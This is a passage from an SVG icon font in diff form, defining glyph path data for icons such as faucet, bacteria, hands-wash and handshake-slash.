unicode-range="U+0020-F8FF" + /> + <missing-glyph /> + <glyph glyph-name="faucet" unicode="" +d="M352 192c88.3066 0 160 -71.6934 160 -160c0 -17.6611 -14.3389 -32 -32 -32h-64c-17.6611 0 -32 14.3389 -32 32s-14.3389 32 -32 32h-12.79c-20.5898 -37.7305 -64.21 -64 -115.21 -64s-94.6201 26.2695 -115.21 64h-92.79c-8.83105 0 -16 7.16895 -16 16v96 +c0 8.83105 7.16895 16 16 16h118.61c15.71 13.4004 35.46 23 57.3896 28v47.5596l32 3.38086l32 -3.38086v-47.5596c21.9297 -4.92969 41.6797 -14.5596 57.3896 -28h38.6104zM81.5898 288.09c-9.41992 -1 -17.5898 6.81055 -17.5898 16.7998v30.2207 +c0 9.98926 8.16992 17.7998 17.5898 16.8096l110.41 -11.6602v27.7402c0 8.83105 7.16895 16 16 16h32c8.83105 0 16 -7.16895 16 -16v-27.7402l110.41 11.6602c9.41992 0.990234 17.5898 -6.80957 17.5898 -16.8096v-30.2207 +c0 -9.98926 -8.16992 -17.7998 -17.5898 -16.7998l-142.41 15z" /> + <glyph glyph-name="trailer" unicode="" horiz-adv-x="640" +d="M624 128c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-337.61c-7.83008 54.21 -54 96 -110.39 96s-102.56 -41.79 -110.39 -96h-49.6104c-8.83105 0 -16 7.16895 -16 16v288c0 8.83105 7.16895 16 16 16h512c8.83105 0 16 -7.16895 16 -16v-240 +h80zM96 204.32v107.68c0 4.41504 -3.58496 8 -8 8h-16c-4.41504 0 -8 -3.58496 -8 -8v-128.39c9.85938 8.0166 20.5459 14.9482 32 20.71zM192 222.86v89.1396c0 4.41504 -3.58496 8 -8 8h-16c-4.41504 0 -8 -3.58496 -8 -8v-89.1396 +c5.30957 0.489258 10.5703 1.13965 16 1.13965s10.6904 -0.650391 16 -1.13965zM288 183.61v128.39c0 4.41504 -3.58496 8 -8 8h-16c-4.41504 0 -8 -3.58496 -8 -8v-107.68c11.4541 -5.76172 22.1406 -12.6934 32 -20.71zM384 128v184c0 4.41504 -3.58496 8 -8 8h-16 +c-4.41504 0 -8 -3.58496 -8 -8v-184h32zM480 128v184c0 4.41504 -3.58496 8 -8 8h-16c-4.41504 0 -8 -3.58496 -8 -8v-184h32zM176 128c44.1533 0 80 -35.8467 80 -80s-35.8467 -80 -80 -80s-80 35.8467 -80 80s35.8467 80 80 80zM176 16c17.6611 0 32 14.3389 32 32 +s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32z" /> + <glyph glyph-name="bacteria" unicode="" horiz-adv-x="640" +d="M272.35 221.6c-2.19727 -0.946289 -4.63184 -1.47949 -7.17578 -1.47949h-0.0341797c-0.00292969 0 0.00195312 -0.0146484 -0.00195312 -0.0146484c-7.27051 0 -13.5322 4.35449 -16.3174 10.5947l-3.91992 8.84961 +c-1.15039 -0.729492 -2.35059 -1.37988 -3.4707 -2.14941c-3.47168 -2.44629 -6.75293 -5.02832 -9.93945 -7.82031c-4.16406 -3.56152 -8.00098 -7.31543 -11.6504 -11.4004c-2.79688 -3.0166 -5.3916 -6.11719 -7.87012 -9.41016 +c-0.700195 -0.969727 -1.22949 -2.0498 -1.89941 -3.0498l8.7998 -4.10938c6.0166 -2.84082 10.1523 -8.94531 10.1523 -16.0361c0 -9.79199 -7.9502 -17.7432 -17.7432 -17.7432c-2.70312 0 -5.26562 0.606445 -7.55957 1.68848l-9 4.2207 +c-1.61035 -5.00293 -2.92773 -10.2646 -3.87012 -15.5303c-1.9248 -11.2178 -6.14648 -21.8359 -12.0801 -31.0498l9.14062 -9.37012c3.09082 -3.19824 4.99121 -7.55957 4.99121 -12.3545c0 -9.80859 -7.96387 -17.7715 -17.7725 -17.7715 +c-5.01465 0 -9.54688 2.08105 -12.7793 5.42578l-8.58984 8.7998c-13.0752 -8.66602 -28.8223 -13.7949 -45.6494 -13.8799c-1.03027 0 -2.10059 0.259766 -3.10059 0.259766l-2.87012 -11c-2.08008 -7.52637 -8.97949 -13.0732 -17.165 -13.0732 +c-9.8291 0 -17.8096 7.98047 -17.8096 17.8105c0 1.44043 0.171875 2.84082 0.495117 4.18359l2.87988 11.0596c-15.5566 7.7666 -28.2236 20.1123 -36.3896 35.4297l-11.2705 -3.33008c-1.60547 -0.477539 -3.30273 -0.741211 -5.06348 -0.741211 +c-9.79004 0 -17.7383 7.94824 -17.7383 17.7383c0 8.03027 5.34668 14.8213 12.6719 17.0029l11.5801 3.43066c-0.142578 1.98535 -0.214844 3.83594 -0.214844 5.85742c0 4.47168 0.353516 8.86133 1.03516 13.1426c1.72949 10.3799 4.72949 20.2197 7.51953 30.2197 +l-10.3496 3.54004c-6.94824 2.40234 -11.9346 8.99512 -11.9346 16.7549c0 9.78711 7.94629 17.7334 17.7334 17.7334c2.02734 0 3.97559 -0.34082 5.79102 -0.96875l10.4795 -3.58984c6.40332 15.3193 14.1484 30.0723 23 43.9102l-8.87988 6.46973 +c-4.4375 3.20996 -7.30176 8.43652 -7.30176 14.3262c0 3.90625 1.27148 7.51855 3.42188 10.4443c3.24805 4.4248 8.49316 7.27441 14.3975 7.27441c3.9209 0 7.54688 -1.26758 10.4922 -3.41406l8.82031 -6.4209c10.6797 12.8564 22.2119 24.5146 34.9502 35.3301 +l-6.4502 8.61035c-2.22168 2.95703 -3.5625 6.6377 -3.5625 10.6182c0 5.82617 2.82227 10.998 7.17285 14.2217c2.97461 2.20312 6.66211 3.53027 10.6445 3.53027c5.83789 0 11.0273 -2.80078 14.2949 -7.12988l6.32031 -8.43066 +c13.8359 9.05371 28.5869 16.9834 43.9404 23.5703l-3.49023 9.7998c-0.658203 1.8584 -1.02734 3.86816 -1.02734 5.95117c0 9.8252 7.97656 17.8018 17.8018 17.8018c7.74316 0 14.3379 -4.9541 16.7852 -11.8623l3.37988 -9.45996 +c10.9004 3.16992 21.7305 6.38965 33.1104 8.21973c4.51367 0.758789 9.02637 1.15234 13.7539 1.15234c1 0 1.99512 -0.0175781 2.98633 -0.0527344l2.81934 10.7803c1.98633 7.66504 8.95117 13.3457 17.2334 13.3457c9.82617 0 17.8047 -7.97754 17.8047 -17.8037 +c0 -1.54395 -0.197266 -3.04297 -0.567383 -4.47168l-2.83984 -10.8506c15.5527 -7.83105 28.2119 -20.2178 36.3799 -35.5693l11.3398 3.35938c1.6084 0.480469 3.30957 0.745117 5.07324 0.745117c9.79199 0 17.7412 -7.9502 17.7412 -17.7412 +c0 -8.02832 -5.34375 -14.8184 -12.665 -17.0039l-11.8496 -3.50977c0.120117 -1.82227 0.125977 -3.67969 0.125977 -5.53223c0 -15.5859 -4.2998 -30.1758 -11.7764 -42.6475l9.7207 -8.76074c3.56934 -3.25 5.79688 -7.92969 5.79688 -13.1328 +c0 -9.80469 -7.95996 -17.7646 -17.7637 -17.7646c-4.60156 0 -8.79688 1.75391 -11.9531 4.62793l-10 9c-9.85547 -6.88477 -21.4219 -11.7422 -33.75 -13.8398c-4.16895 -0.80957 -8.35547 -1.85547 -12.3604 -3.08008l4 -9.08008 +c0.96875 -2.18848 1.5293 -4.61426 1.5293 -7.16016c0 -7.26172 -4.37988 -13.5078 -10.6396 -16.2402zM128 192c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32zM208 288c8.83105 0 16 7.16895 16 16s-7.16895 16 -16 16 +s-16 -7.16895 -16 -16s7.16895 -16 16 -16zM639.26 242.7c0.470703 -1.59277 0.724609 -3.27344 0.724609 -5.01758c0 -8.04492 -5.37891 -14.8438 -12.7344 -16.9922l-11.5801 -3.43066c0.143555 -1.99512 0.216797 -3.85547 0.216797 -5.88672 +c0 -4.47852 -0.354492 -8.875 -1.03711 -13.1631c-1.72949 -10.3701 -4.72949 -20.21 -7.51953 -30.21l10.3398 -3.53027c6.94824 -2.40234 11.9346 -8.99414 11.9346 -16.7549c0 -9.78711 -7.94629 -17.7334 -17.7344 -17.7334 +c-2.02637 0 -3.97559 0.34082 -5.79004 0.96875l-10.4805 3.58984c-6.40527 -15.3213 -14.1494 -30.0781 -23 -43.9199l8.88086 -6.45996c4.6377 -3.20605 7.64746 -8.54297 7.64746 -14.6025c0 -9.80176 -7.95801 -17.7598 -17.7598 -17.7598 +c-4.10156 0 -7.87988 1.39355 -10.8877 3.73242l-8.82031 6.41992c-10.6826 -12.8574 -22.2148 -24.5176 -34.9502 -35.3398l6.4502 -8.61035c2.23926 -2.96094 3.5918 -6.6543 3.5918 -10.6494c0 -5.84082 -2.83984 -11.0225 -7.21191 -14.2402 +c-2.97363 -2.20508 -6.66016 -3.53418 -10.6426 -3.53418c-5.83594 0 -11.0234 2.80273 -14.2871 7.13379l-6.32031 8.42969c-13.8379 -9.05273 -28.5889 -16.9854 -43.9404 -23.5801l3.49023 -9.79004c0.658203 -1.85742 1.02734 -3.86816 1.02734 -5.9502 +c0 -9.8252 -7.97656 -17.8018 -17.8018 -17.8018c-7.74316 0 -14.3379 4.9541 -16.7852 11.8623l-3.37988 9.45996c-10.8604 -3.16992 -21.7305 -6.34961 -33.1006 -8.24023c-4.51465 -0.757812 -9.02832 -1.15234 -13.7568 -1.15234 +c-0.999023 0 -1.99316 0.0175781 -2.9834 0.0527344l-2.81934 -10.7803c-1.98633 -7.66504 -8.95117 -13.3457 -17.2334 -13.3457c-9.82617 0 -17.8037 7.97754 -17.8037 17.8047c0 1.54395 0.196289 3.04199 0.566406 4.47168l2.84082 10.8496 +c-15.5664 7.8291 -28.2363 20.2207 -36.4102 35.5801l-11.3398 -3.36035c-1.61035 -0.480469 -3.31348 -0.746094 -5.0791 -0.746094c-9.79199 0 -17.7422 7.9502 -17.7422 17.7432c0 8.02734 5.3418 14.8164 12.6611 17.0029l11.8594 3.51074 +c-0.119141 1.82227 -0.125 3.67871 -0.125 5.53125c0 15.5869 4.29883 30.1768 11.7754 42.6484l-9.71973 8.75c-3.68848 3.25684 -6.00293 8.0166 -6.00293 13.3193c0 9.80762 7.96289 17.7705 17.7705 17.7705c4.69824 0 8.97363 -1.82812 12.1523 -4.80957l10 -9 +c9.85645 6.9082 21.4297 11.7861 33.7695 13.8994c4.1709 0.804688 8.35742 1.85156 12.3604 3.08008l-4 9.08008c-0.962891 2.18262 -1.51953 4.60156 -1.51953 7.13867c0 7.25391 4.37012 13.4951 10.6191 16.2314c2.19824 0.954102 4.63477 1.49414 7.18066 1.5 +c0.00390625 0 -0.00195312 0.0146484 0.00195312 0.0146484c7.27051 0 13.5322 -4.35449 16.3174 -10.5947l3.91992 -8.84961c1.15039 0.729492 2.35059 1.37988 3.4707 2.14941c3.49023 2.4502 6.79199 5.03613 10 7.83008c4.13867 3.53516 7.94922 7.2666 11.5693 11.3301 +c2.82617 3.03223 5.44336 6.15332 7.94043 9.46973c0.69043 0.970703 1.21973 2.0498 1.88965 3.0498l-8.7998 4.11035c-6.0166 2.84082 -10.1523 8.94531 -10.1523 16.0352c0 9.79297 7.9502 17.7432 17.7432 17.7432c2.70312 0 5.26562 -0.605469 7.55957 -1.68848 +l9 -4.21973c1.60938 4.99902 2.92676 10.2578 3.87012 15.5195c1.91992 11.2236 6.14258 21.8457 12.0801 31.0605l-9.14062 9.37012c-3.09082 3.19824 -4.99121 7.55957 -4.99121 12.3535c0 9.80957 7.96387 17.7725 17.7725 17.7725 +c5.01465 0 9.54688 -2.08105 12.7793 -5.42578l8.58984 -8.81055c13.0723 8.67285 28.8203 13.8066 45.6494 13.8906c1.03027 0 2.10059 -0.260742 3.10059 -0.260742l2.87012 11c2.10059 7.49609 8.98438 13.0137 17.1475 13.0137 +c9.83008 0 17.8105 -7.98047 17.8105 -17.8096c0 -1.41602 -0.166016 -2.79297 -0.478516 -4.11426l-2.87988 -11.0596c15.5527 -7.77246 28.2188 -20.1162 36.3896 -35.4297l11.2705 3.33008c1.59766 0.478516 3.28906 0.739258 5.04199 0.739258h0.0380859 +c0.00585938 0 0.0078125 -0.000976562 0.0136719 -0.000976562c8.0459 0 14.8506 -5.35254 17.0459 -12.6885zM416 32c17.6611 0 32 14.3389 32 32s-14.3389 32 -32 32s-32 -14.3389 -32 -32s14.3389 -32 32 -32z" /> + <glyph glyph-name="bacterium" unicode="" +d="M511 345.07c0.634766 -2.13379 0.976562 -4.3877 0.976562 -6.72656c0 -10.7275 -7.1709 -19.7949 -16.9766 -22.6641l-15.79 -4.67969c0.15625 -2.4082 0.163086 -4.86133 0.163086 -7.30859c0 -20.8174 -5.75195 -40.3027 -15.7529 -56.9512l12.9395 -11.6699 +c5.1709 -4.34766 8.44043 -10.8584 8.44043 -18.1357c0 -13.0742 -10.6152 -23.6895 -23.6895 -23.6895c-6.47754 0 -12.3525 2.60547 -16.6309 6.8252l-13.3301 12c-13.1318 -9.21387 -28.5537 -15.7207 -45 -18.54c-5.5625 -1.07129 -11.1484 -2.46484 -16.4893 -4.10059 +l5.35938 -12.1094c1.2793 -2.91602 2.0127 -6.17285 2.0127 -9.55859c0 -13.1035 -10.6377 -23.7412 -23.7412 -23.7412c-9.7168 0 -18.0791 5.85156 -21.751 14.2197l-5.23047 11.7998c-1.5293 -0.980469 -3.12988 -1.87012 -4.62988 -2.87012 +c-4.61719 -3.25684 -8.98438 -6.69043 -13.2295 -10.4004c-5.58008 -4.76562 -10.7148 -9.79785 -15.5908 -15.2793c-3.71875 -4.00195 -7.16699 -8.11914 -10.46 -12.4902c-0.929688 -1.29004 -1.62988 -2.74023 -2.51953 -4.05957l11.7197 -5.49023 +c8.20801 -3.71484 13.8818 -11.9531 13.8818 -21.542c0 -13.0576 -10.6016 -23.6592 -23.6602 -23.6592c-3.73535 0 -7.26855 0.867188 -10.4111 2.41113l-12 5.63965c-2.14844 -6.6709 -3.90527 -13.6875 -5.16016 -20.71 +c-2.5625 -14.959 -8.19336 -29.1182 -16.1104 -41.3994l12.1904 -12.5c3.92383 -4.22949 6.32129 -9.90332 6.32129 -16.1221c0 -13.0801 -10.6201 -23.7002 -23.7002 -23.7002c-6.5127 0 -12.416 2.63379 -16.7012 6.8916l-11.4502 11.7402 +c-17.4336 -11.5586 -38.4326 -18.4014 -60.8701 -18.5195c-1.36035 0 -2.75977 0.299805 -4.12988 0.349609l-3.80957 -14.6299c-2.67383 -10.1768 -11.9395 -17.7002 -22.9502 -17.7002h-0.0498047c-2.07324 0.00292969 -4.07715 0.264648 -6 0.75 +c-10.1992 2.62988 -17.751 11.8857 -17.751 22.9014c0 2.04688 0.260742 4.03418 0.750977 5.92871l3.84961 14.75c-20.7412 10.3623 -37.6318 26.8203 -48.5303 47.2402l-15 -4.44043c-2.14062 -0.638672 -4.40527 -0.989258 -6.75293 -0.989258 +c-13.0479 0 -23.6406 10.5928 -23.6406 23.6406c0 10.6992 7.12402 19.749 16.8838 22.6592l15.4404 4.55957c-0.199219 2.7207 -0.300781 5.25781 -0.300781 8.0293c0 5.89355 0.458008 11.6826 1.34082 17.3311c2.37012 13.6738 5.52832 27.3877 9.2998 40.5293 +l-13 4.48047c-9.47656 3.08398 -16.3213 11.9814 -16.3213 22.4805c0 13.0527 10.5967 23.6504 23.6494 23.6504c2.86035 0 5.60254 -0.508789 8.1416 -1.44141l12.9297 -4.42969c8.61523 20.5029 19.0254 40.2393 30.9199 58.75l-11.0898 8.06055 +c-6.20508 4.27051 -10.2344 11.3994 -10.2344 19.4951c0 13.0693 10.6104 23.6797 23.6797 23.6797c5.48535 0 10.5381 -1.86914 14.5547 -5.00488l11 -8c14.2725 17.249 29.6816 32.9014 46.7002 47.4395l-8 10.6299c-2.9541 3.9375 -4.7373 8.83691 -4.7373 14.1338 +c0 7.7666 3.76465 14.6611 9.56738 18.9561c3.96484 2.93848 8.87988 4.70801 14.1885 4.70801c7.78125 0 14.6973 -3.73438 19.0518 -9.50781l8 -10.6299c18.4736 12.2129 38.1689 22.917 58.6895 31.8301l-4.2998 12.0498 +c-0.799805 2.37695 -1.24805 4.93555 -1.24805 7.58105c0 13.1025 10.6377 23.7402 23.7402 23.7402c10.1953 0 18.8975 -6.44043 22.2578 -15.4707l4.2998 -12c14.3408 4.27246 29.3477 7.81055 44.3301 10.4102c6.0459 1.01172 12.0889 1.53711 18.4199 1.53711 +c1.30859 0 2.6123 -0.0224609 3.91016 -0.0673828l3.75977 14.3701c2.64941 10.2295 11.9443 17.8125 22.998 17.8125c13.1123 0 23.7588 -10.6465 23.7588 -23.7588c0 -2.05957 -0.262695 -4.05762 -0.756836 -5.96387l-3.79004 -14.4697 +c20.7402 -10.4336 37.6182 -26.9492 48.5 -47.4209l15.1201 4.48047c2.14844 0.639648 4.41797 0.985352 6.77246 0.985352c10.7344 0 19.8164 -7.13379 22.7578 -16.915zM160 80c26.4922 0 48 21.5078 48 48s-21.5078 48 -48 48s-48 -21.5078 -48 -48s21.5078 -48 48 -48z +M240 216c13.2461 0 24 10.7539 24 24s-10.7539 24 -24 24s-24 -10.7539 -24 -24s10.7539 -24 24 -24z" /> + <glyph glyph-name="box-tissue" unicode="" +d="M383.88 160.18h-256l-64 288h141.4c30.9912 -0.00195312 57.3018 -20.1162 66.5996 -48c9.29492 -27.8818 35.6016 -47.9961 66.5898 -48h109.41zM-0.120117 -31.8203v64h512v-64c0 -17.6611 -14.3389 -32 -32 -32h-448c-17.6611 0 -32 14.3389 -32 32zM479.88 224.18 +c17.6562 -0.00488281 31.9902 -14.3418 31.9902 -32v-128h-512v128c0 17.6611 14.3389 32 32 32h49l14.2197 -64h-15.21c-8.83008 0 -16 -7.16895 -16 -16c0 -8.83008 7.16992 -16 16 -16h352c8.83105 0 16 7.16992 16 16c0 8.83105 -7.16895 16 -16 16h-14.2695l21.3301 64 +h40.9395z" /> + <glyph glyph-name="hand-holding-medical" unicode="" horiz-adv-x="576" +d="M159.88 272.18c-8.83008 0 -16 7.16992 -16 16v64c0 8.83105 7.16992 16 16 16h64v64c0 8.83105 7.16992 16 16 16h64c8.83105 0 16 -7.16895 16 -16v-64h64c8.83105 0 16 -7.16895 16 -16v-64c0 -8.83008 -7.16895 -16 -16 -16h-64v-64c0 -8.83008 -7.16895 -16 -16 -16 +h-64c-8.83008 0 -16 7.16992 -16 16v64h-64zM568.07 111.87c4.87109 -6.62695 7.80469 -14.8232 7.80469 -23.6709c0 -13.1982 -6.40527 -24.9121 -16.2754 -32.1992l-135.029 -99.5703c-17.2783 -12.6621 -38.6699 -20.2148 -61.7002 -20.2695h-347 +c-8.80273 0.0595703 -15.9404 7.19727 -16 16v96c0.0595703 8.80273 7.19727 15.9395 16 16h55.3604l46.5 37.7402c20.2246 16.3867 46.0615 26.25 74.0947 26.25h0.0244141h160c17.6943 0 32.0654 -14.3359 32.0654 -32.0303 +c0 -1.82324 -0.152344 -3.61035 -0.445312 -5.35059c-2.62012 -15.7393 -17.3701 -26.6094 -33.3701 -26.6094h-78.2393c-8.83105 0 -16 -7.16992 -16 -16c0 -8.83105 7.16895 -16 16 -16h120.609l119.67 88.1797c6.63281 4.91016 14.8516 7.87012 23.7295 7.87012 +c13.2129 0 24.9355 -6.43555 32.2012 -16.3398z" /> + <glyph glyph-name="hand-sparkles" unicode="" horiz-adv-x="640" +d="M106.66 277.36l-20.7402 -49.6201c-1.08691 -2.19531 -3.34277 -3.70703 -5.95605 -3.70703s-4.87695 1.51172 -5.96387 3.70703l-20.6602 49.6602h-0.0703125l-49.5898 20.5996c-2.10938 1.20508 -3.55469 3.42969 -3.67969 6v0 +c0.124023 2.57617 1.5791 4.80371 3.7002 6l49.6299 20.6904h0.0498047l20.7002 49.6299c1.0918 2.18848 3.3457 3.69434 5.95605 3.69434s4.87207 -1.50586 5.96387 -3.69434l20.6602 -49.6406h0.0703125l49.5693 -20.6699c2.11328 -1.2002 3.56055 -3.42676 3.68066 -6v0 +c-0.125977 -2.57031 -1.57129 -4.79492 -3.68066 -6l-49.5498 -20.6494h-0.0898438zM471.38 -19.4102l37.4902 -15.6299l0.0703125 -0.169922c-7.59082 -17.0596 -24 -28.79 -43.2402 -28.79h-197.61c-15.9482 0.0273438 -30.0625 7.79492 -38.79 19.79l-125.6 172.61 +c-4.80469 6.60156 -7.68066 14.7979 -7.68066 23.5801c0 22.085 17.9297 40.0156 40.0146 40.0156c13.3027 0 25.0986 -6.50586 32.376 -16.5059l23.5898 -32.4902v241c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32v-152c0 -4.41504 3.58496 -8 8 -8h16 +c4.41504 0 8 3.58496 8 8v184c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32v-184c0 -4.41504 3.58496 -8 8 -8h16c4.41504 0 8 3.58496 8 8v152c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32v-152c0 -4.41504 3.58496 -8 8 -8h16c4.41504 0 8 3.58496 8 8v72 +c0 17.6611 14.3389 32 32 32s32 -14.3389 32 -32v-176.03c-0.0195312 -1.30957 -0.269531 -2.66992 -0.269531 -4c-7.77051 -3.70996 -14.5 -9.59961 -18.3506 -17.3398l-0.469727 -0.950195l-0.410156 -1l-15.6299 -37.4795l-37.4902 -15.6299l-1 -0.430664l-1 -0.489258 +c-12.6719 -6.35254 -21.3789 -19.4189 -21.3789 -34.5479s8.70703 -28.2402 21.3789 -34.5928l1 -0.5zM349.79 108.48c1.31543 0.655273 2.21973 2.00879 2.21973 3.57715s-0.904297 2.92676 -2.21973 3.58203l-29.79 12.4199l-12.4297 29.7803 +c-0.657227 1.30957 -2.00879 2.20996 -3.57324 2.20996c-1.56348 0 -2.91992 -0.900391 -3.57715 -2.20996l-12.4199 -29.7803l-29.79 -12.4199c-1.31543 -0.655273 -2.21973 -2.00879 -2.21973 -3.57715s0.904297 -2.92676 2.21973 -3.58203l29.79 -12.4102 +l12.4297 -29.7803c0.657227 -1.30957 2.00879 -2.20996 3.57324 -2.20996c1.56348 0 2.91992 0.900391 3.57715 2.20996l12.4199 29.7803zM640 16.0898l-0.0703125 -0.0703125v0c-0.135742 -2.55078 -1.58008 -4.75684 -3.67969 -5.94922l-49.5498 -20.6602h-0.0898438v0 +l-20.6904 -49.6201c-1.08691 -2.19531 -3.34277 -3.70703 -5.95605 -3.70703s-4.87695 1.51172 -5.96387 3.70703l-20.6602 49.5898h-0.0703125l-49.5693 20.6699c-2.10059 1.19238 -3.54395 3.39844 -3.68066 5.9502v0c0.118164 2.57324 1.56641 4.80078 3.68066 6 +l49.6299 20.7402h0.0498047l20.7002 49.6299c1.0918 2.18848 3.3457 3.69434 5.95605 3.69434s4.87207 -1.50586 5.96387 -3.69434l20.6797 -49.6104h0.0703125l49.5703 -20.6699c2.11328 -1.19922 3.5625 -3.42676 3.67969 -6z" /> + <glyph glyph-name="hands-wash" unicode="" horiz-adv-x="576" +d="M496 224c-26.4922 0 -48 21.5078 -48 48s21.5078 48 48 48s48 -21.5078 48 -48s-21.5078 -48 -48 -48zM311.47 269.55l-16.0801 -4.96973l20.9004 66.1699c3.5 11.0703 14.1797 18.8604 25.71 17.5098c12.0508 -1.27246 21.4727 -11.4824 21.4727 -23.8682 +c0 -2.53418 -0.393555 -4.97754 -1.12305 -7.27148l-15.3496 -48.6104c-5.91699 2.19336 -12.3369 3.43457 -19 3.49023c-0.0107422 0 -0.0185547 -0.0107422 -0.0302734 -0.0107422c-5.7373 0 -11.2773 -0.853516 -16.5 -2.43945zM93.6504 61.6699 +c-36.4326 21.1162 -60.9873 60.2432 -61.6504 105.19v112.729c0.179688 13.3203 11.6699 23.9102 24.9004 23.8604c13.1807 -0.0771484 23.8604 -10.7988 23.8604 -23.9971c0 -0.0507812 0 -0.102539 -0.000976562 -0.15332l2.06055 -50.0498l60 189.85 +c3.5 11.0703 14.1797 18.9004 25.71 17.46c12.0371 -1.28613 21.4443 -11.4883 21.4443 -23.8652c0 -2.52441 -0.390625 -4.95801 -1.11426 -7.24414l-38.5605 -122c-0.240234 -0.760742 -0.373047 -1.57129 -0.373047 -2.41016 +c0 -4.41699 3.58496 -8.00195 8.00195 -8.00195c3.57617 0 6.60742 2.35156 7.63086 5.5918l47.9307 151.71c3.50977 11.0605 14.1797 18.8506 25.71 17.5098c12.0371 -1.28613 21.4443 -11.4883 21.4443 -23.8652c0 -2.52441 -0.390625 -4.95801 -1.11426 -7.24414 +l-43.3701 -137.79c-0.241211 -0.762695 -0.375 -1.57422 -0.375 -2.41602c0 -4.41699 3.58594 -8.00293 8.00293 -8.00293c3.57617 0 6.60645 2.35059 7.63184 5.58887l33.4502 106.42c3.5 11.0703 14.1895 18.8604 25.7197 17.5195 +c12.0371 -1.28613 21.4443 -11.4883 21.4443 -23.8652c0 -2.52441 -0.390625 -4.95801 -1.11426 -7.24414l-34.1602 -108.12l-73.7002 -22.7598c-62.1299 -20.5283 -107.005 -79.04 -107.06 -148v-25.6904c-0.80957 -0.169922 -1.5498 -0.519531 -2.34961 -0.709961z +M519.1 112c11.6104 0 22.25 -7.83984 24.4404 -19.2402c0.3125 -1.54395 0.477539 -3.12402 0.477539 -4.75977c0 -13.2461 -10.7549 -24 -24 -24h-0.0175781h-160c-4.41504 0 -8 -3.58496 -8 -8s3.58496 -8 8 -8h127.1c11.6104 0 22.25 -7.83984 24.4404 -19.2402 +c0.3125 -1.54395 0.477539 -3.12402 0.477539 -4.75977c0 -13.2461 -10.7549 -24 -24 -24h-0.0175781h-128c-4.41504 0 -8 -3.58496 -8 -8s3.58496 -8 8 -8h95.0996c11.6104 0 22.25 -7.83984 24.4404 -19.2402c0.3125 -1.54395 0.477539 -3.12402 0.477539 -4.75977 +c0 -13.2461 -10.7549 -24 -24 -24h-0.0175781h-208c-22.6738 0.0859375 -43.9951 6.60645 -62 17.7197c3.8623 9.36328 5.9668 19.6699 5.9668 30.4199c0 38.6191 -27.499 70.8652 -63.9668 78.21v25.6504c0 54.8691 35.7324 101.431 85.1904 117.69l107.72 33.25 +c2.24121 0.692383 4.62207 1.0752 7.08984 1.0752c13.252 0 24.0107 -10.7588 24.0107 -24.0107c0 -10.7842 -7.125 -19.917 -16.9209 -22.9453l-47.0898 -17.0596h199.1c11.6104 0 22.25 -7.83984 24.4404 -19.2402c0.3125 -1.54395 0.477539 -3.12402 0.477539 -4.75977 +c0 -13.2461 -10.7549 -24 -24 -24h-0.0175781h-128c-4.41504 0 -8 -3.58496 -8 -8s3.58496 -8 8 -8h159.1zM416 384c-17.6611 0 -32 14.3389 -32 32s14.3389 32 32 32s32 -14.3389 32 -32s-14.3389 -32 -32 -32zM112 32c26.4922 0 48 -21.5078 48 -48s-21.5078 -48 -48 -48 +s-48 21.5078 -48 48s21.5078 48 48 48z" /> + <glyph glyph-name="handshake-alt-slash" unicode="" horiz-adv-x="640" +d="M358.59 252.4l26.1104 23.8896c3.19727 2.92676 5.19238 7.13086 5.19238 11.8037c0 8.83203 -7.1709 16.0029 -16.0039 16.0029c-4.16016 0 -7.95117 -1.59082 -10.7988 -4.19629l-27 -24.7002l-32.6895 -29.9199l330.43 -255.38 +c3.76562 -2.92871 6.1709 -7.50781 6.1709 -12.6426c0 -3.69434 -1.25488 -7.09863 -3.36133 -9.80762l-19.6396 -25.2705c-2.92871 -3.76855 -7.50879 -6.17578 -12.6465 -6.17578c-3.69727 0 -7.10254 1.25684 -9.81348 3.36621l-588.35 454.72 +c-3.76562 2.92871 -6.17188 7.50781 -6.17188 12.6426c0 3.69434 1.25488 7.09766 3.36133 9.80762l19.6201 25.2695c2.92773 3.77148 7.51074 6.18164 12.6504 6.18164c3.69922 0 7.1084 -1.25879 9.81934 -3.37109l116.891 -90.3301l20.3398 20.2998 +c5.78027 5.7998 13.7764 9.39258 22.5996 9.41016h83.79l-75.5996 -69.2402l25.6895 -19.8496l88.1201 80.6797c5.69238 5.21777 13.2881 8.40723 21.6104 8.41016h85.8896c8.82812 -0.0146484 16.8271 -3.60742 22.6104 -9.41016l54.5898 -54.5898h112 +c8.7998 0 15.9502 -7.12109 16 -15.9102v-191.8c-0.0273438 -8.81836 -7.18164 -15.9727 -16 -16h-97.5898c-2.7002 15.1729 -10.7646 28.5215 -22.21 37.9102zM16 320h7.55957l382.44 -295.59l-8.7998 -10.8203c-6.81543 -8.38672 -17.2246 -13.7119 -28.8633 -13.7119 +c-8.87793 0 -17.0322 3.12012 -23.4268 8.32227l-17.9102 15.5l-0.200195 -0.200195c-11.7383 -14.4346 -29.6592 -23.5977 -49.6963 -23.5977c-15.2695 0 -29.2969 5.35938 -40.3037 14.2979l-90.5 81.8896h-130.3c-8.83105 0 -16 7.16992 -16 16v191.91 +c0.0273438 8.81836 7.18164 15.9727 16 16z" /> + <glyph glyph-name="handshake-slash" unicode="" horiz-adv-x="640" +d="M0 319.79h23.8301l72.1699 -55.79v-168c0 -17.6611 -14.3389 -32 -32 -32h-64v255.79zM48 127.9c-8.83105 0 -16 -7.16992 -16 -16c0 -8.83105 7.16895 -16 16 -16s16 7.16895 16 16c0 8.83008 -7.16895 16 -16 16zM128 96.0898v143.19l278 -214.87l-8.7998 -10.8203 +c-6.81543 -8.38672 -17.2246 -13.7119 -28.8633 -13.7119c-8.87793 0 -17.0322 3.12012 -23.4268 8.32227l-17.9102 15.5l-0.200195 -0.200195c-11.7383 -14.4346 -29.6592 -23.5977 -49.6963 -23.5977c-15.2695 0 -29.2969 5.35938 -40.3037 14.2979l-90.5 81.8896 +h-18.2998zM544 319.79h96v-255.89h-64c-17.6611 0 -32 14.3379 -32 32v223.89zM592 95.9004c8.83105 0 16 7.16895 16 16c0 8.83008 -7.16895 16 -16 16s-16 -7.16992 -16 -16c0 -8.83105 7.16895 -16 16 -16zM303.33 245.33l330.5 -255.43 +c3.76953 -2.92871 6.17676 -7.50977 6.17676 -12.6475c0 -3.69238 -1.25293 -7.09375 -3.35645 -9.80273l-19.6504 